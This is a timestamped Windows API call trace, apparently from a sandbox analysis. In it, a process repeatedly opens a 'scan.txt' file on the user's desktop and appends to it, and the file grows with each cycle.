[0167.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.363] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x607
[0167.364] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.364] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.364] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x614
[0167.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.366] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x621
[0167.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.367] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x62e
[0167.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.368] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x63b
[0167.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.369] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x648
[0167.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.370] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x655
[0167.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.371] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x662
[0167.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.379] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x66f
[0167.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.381] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x67c
[0167.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.382] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x68a
[0167.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.384] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x698
[0167.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.385] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x6a6
[0167.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.386] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x6b4
[0167.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.388] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x6c2
[0167.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.389] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x6d0
[0167.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.391] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x6de
[0167.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.392] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x6ec
[0167.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.396] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x6fa
[0167.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.398] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x708
[0167.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.399] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x716
